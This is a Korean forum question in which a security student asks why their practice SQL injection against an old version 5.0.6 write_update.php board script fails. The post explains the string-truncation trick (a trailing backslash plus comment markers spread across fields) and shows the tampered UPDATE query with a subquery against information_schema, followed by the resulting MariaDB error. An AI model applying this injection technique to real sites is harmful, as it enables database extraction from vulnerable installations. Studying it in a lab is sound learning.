과거 5.0.6 버전 write_update.php에서 문자열 자르기 오류를 이용한 sql injection
본문
과거 5.0.6 버전 write_update.php에서 문자열 자르기 오류를 이용한 sql injection을 실습하려고하는데
잘 안되서 왜 안되나 궁금합니다..
wr_subject (글제목) 을 받는곳에 254개의 문자를넣고 마지막 문자에 \를넣어 기존코드에 있던 닫는 다옴표를 문자열로 인식하게끔 만들어 코드의 그 다음줄인 wr_content = ' 의 여는 다옴표를만나 wr_subject의 닫는따옴표를 여기서 닫히게 만드는건 이해했습니다. 그리고나서 기존 wr_content에는 /*로 주석처리를 열어주고
wr_10에는 닫는 주석을 넣으며 sql인젝션 구문을 넣는거까진 이해를 했는데 이걸 실습하려고 해도 그저 에러페이지만 보일뿐 인젝션이 통하지않습니다.
burp suite로 글수정 요청패킷을 가로채 변조를 다음과같이 했습니다.
.
.
.
update g5_write_free_board set ca_name = '질문', wr_option = ',,', wr_subject = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\', wr_content = '/*', wr_link1 = '', wr_link2 = '', mb_id = '1111', wr_name = '1111', wr_email = '1111@11.11', wr_homepage = '', wr_1 = '', wr_2 = '', wr_3 = '', wr_4 = '', wr_5 = '', wr_6 = '', wr_7 = '', wr_8 = '', wr_9 = '', wr_10= '*/, wr_content=(select group_concat(table_name,0x3a,column_name) from inf' , wr_ip = '211.252.30.191' where wr_id = '6'
1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' , wr_ip = '211.252.30.191' ' at line 20
error file : /g5/bbs/write_update.php
wr_10= '*/, wr_content=(select group_concat(table_name,0x3a,column_name) from inf
이부분에서 왜 구문이 짤리는지도 모르겠고
인젝션이 왜 안되는지 모르겠습니다.
정보보안 공부중인 부족한 대학생인데 도움주시면 감사하겠습니다 ㅜㅜ....
처음 글을 올려봐서 혹시 문제있는글이라면 삭제하겠습니다.